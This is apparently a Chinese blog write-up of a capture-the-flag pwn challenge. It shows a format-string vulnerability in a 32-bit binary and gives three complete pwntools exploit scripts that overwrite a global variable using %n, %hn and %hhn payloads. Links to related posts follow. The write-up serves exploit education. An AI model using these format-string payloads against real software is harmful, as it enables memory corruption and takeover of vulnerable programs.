0x00:查看文件

一个32位的文件,canary、NX、PIE保护机制均关闭。

0x01:用IDA进行静态分析

程序很简单,输入一串字符(个数限制:512),然后再输出。最后根据key变量进行条件语句执行。

在imagemagic函数中用printf(format)进行输出,大概率有格式化字符串漏洞。因为key的地址在bss段:0x0804A048,所以试试用格式化字符串漏洞进行覆盖。

检测一下是否可以对随意地址进行覆盖:

有重复的,位于第12个参数。重复的原因是因为s是定义在了栈上。

payload = p32(key_addr) + b'%035795742d' + b'%12$n'

  • 将key的地址写在第一位,相当于也会写在第12参数上。
  • %12$n : 是指对第12的参数写入前面成功输出的字节数。
  • %035795742d:前面key_addr已经占了4个字节,还要在输出35795746 - 4个字节。

0x02:完整EXP

from pwn import *
context(os='linux', arch='i386', log_level='debug') io = process("./datajk")
#io = remote("111.200.241.244",65079) key_addr = 0x0804A048
payload = p32(key_addr) + b'%35795742d' + b'%12$n' io.sendline(payload)
io.interactive()

远程的话大概要几分钟输出,本地的话快一点。这种方法看着就很粗鲁,但很简单。

0x03:使用标志进行改进

上面因为%n是写入4字节数据,所以就直接写整个数,导致要输出大量数据才可以满足。但带格式化字符串中有那么两个标识:

  • h :以双字节的形式;
  • hh:以单字节的形式;

使用h标志进行改进:

要使key=35795746(0x0222 3322),因为程序为小端序,高字节存储在低地址。所以就是要使key_addr处为0x3322,key_addr+2处为0x0222。

from pwn import *
context(os='linux', arch='i386', log_level='debug') #io = process("./datajk")
io = gdb.debug("./datajk")
key_addr = 0x0804A048 #35795746 == 0x02223322
#num1 = 0x222 0x222 == 546
#num2 = 0x3322 0x3322 == 13090; 12544=13090-546 payload = p32(key_addr) + p32(key_addr + 2)
payload += b'%0538d' + b'%13$hn'
payload += b'%012544d' + b'%12$hn' io.sendline(payload)
io.interactive()

注:用%n写入数据的顺序要从写入数值小的开始。

前面已经输出了两个地址,占了8字节,所以0x222要减去8为538。后面的12544同理,要减去已输出的量。

使用hh标志进行改进:

将0x02223322拆分成\x02 \x22 \x33 \x22(地址:high -> low),按数值从小到大依次写入。

这时要灵活的改变‘覆盖地址’的参数位了,可以先看一下wiki中的这个页面的‘覆盖小数字’:

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14

exp里面的a主要用于调参数位(按4调整)。由于这里调动比较灵活,同时代码不唯一,但大概思想不变。所以就不做多解释了,有问题可以在评论区提出。

from pwn import *
context(os='linux', arch='i386', log_level='debug') io = process("./datajk")
key_addr = 0x0804A048 #0x02 22 33 22 (high -> low)
#input 0x02
payload = b'aa%15$hhnaaa' + p32(key_addr + 3)
#input 0x22(two)
payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna'
#input 0x33
payload += p32(key_addr + 1) + b'%012d%23$hhn' io.sendline(payload)
io.interactive()

0x04:感触

没有绝对安全的系统!


tolele

2022-06-16

攻防世界pwn题:实时数据检测的更多相关文章

  1. 攻防世界pwn题:forgot

    0x00:查看文件信息 该文件是32位的,canary和PIE保护机制没开. 0x01:用IDA进行静态分析 总览: 该函数就是:v5初值为1,对v2输入一串字符.然后执行一个会根据输入的字符串而修改 ...

  2. 攻防世界pwn题:Recho

    0x00:查看文件信息 一个64位二进制文件,canary和PIE保护机制没开. 0x01:用IDA进行静态分析 分析:主程序部分是一个while循环,判断条件是read返回值大于0则循环.函数ato ...

  3. 攻防世界PWN简单题 level0

    攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...

  4. 攻防世界PWN简单题 level2

    攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...

  5. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  6. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  7. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  8. 攻防世界pwn高手区——pwn1

    攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...

  9. 攻防世界 robots题

    来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...

随机推荐

  1. C语言-操作符与表达式

    C语言入门之操作符与表达式 前言 本篇文章主要包括各种操作符的介绍与表达式求值,欢迎各位小伙伴与我一起学习. 一.操作符 分类 算术操作符 移位操作符 位操作符 赋值操作符 单目运算符 关系操作符 逻 ...

  2. phpstorm配置xdebug 3.0最新教程!!!配置不成功的快看!

    前言 之前2月份就开始配置xdebug,始终没有成功. 今天看到一篇写得挺详细的文章,心血来潮又折腾了下,可惜没成功. 验证始终说我配置错误 后面去阅读官方的文档,修改了些配置,居然搞成功了!! ni ...

  3. victoriaMetrics之byteBuffer

    victoriaMetrics之byteBuffer VictoriaMetrics经常会处理数目庞大的指标,在处理的过程中会涉及指标的拷贝,如果在指标拷贝时都进行内存申请的话,其内存消耗和性能损耗都 ...

  4. 更改docker默认的data,metadata存储大小(实操)

    为什么要更改 data,metadata呢?我们运行环境中涉及大量数据操作,数据增长有时候很快,由于之前规划不足,所以磁盘很快达到瓶颈需要进行重新部署.这就需要调整原来的一些docker配置.操作系统 ...

  5. python中字符串、列表访问

    一.列表 列表由一系列按特定顺序排列的多个元素或空元素组成,包含字母表中所有字母.数字0~9或所有家庭成员姓名的列表:列表中各元素间可以没有任何关系:实际使用过程中,通常给列表指定一个表示复数的名称, ...

  6. 第十三届蓝桥杯省赛C/C++ B组

    @(第十三届蓝桥杯省赛C/C++B组) A顺子日期 答案是1478 B顺子日期 答案14(如果012算的话) C刷题统计 数据范围1e18,所以不能直接暴力,先取余,再暴力剩下的 #include&l ...

  7. Hyperledger Fabric节点的动态添加和删除

    前言 在Hyperledger Fabric组织的动态添加和删除中,我们已经完成了在运行着的网络中动态添加和删除组织.本文将在其基础上,详细介绍了如何在 soft 组织上添加新的 peer2 节点,并 ...

  8. 靶场vulnhub-CH4INRULZ_v1.0.1通关

    1.CH4INRULZ_v1.0.1靶场通关 ch4inrulz是vulnhub下的基于Linux的一个靶场,作为练习之用 目的:通过各种手段,获取到靶机内的flag的内容 2.环境搭建: 攻击机 K ...

  9. Java第十周作业

    1.编写一个方法,实现冒泡排序(由小到大),并调用该方法 package gc; public class gc { /** * @param args */ public static void m ...

  10. Windows 下 MSYS2 环境配置和 MinGW-w64 C++ 环境配置

    Windows 下 MSYS2 环境配置和 MinGW-w64 C++ 环境配置 1.简介 本文主要是 Windows 下 MSYS2 环境配置和 MinGW-w64 C++编译环境配置方法 2.下载 ...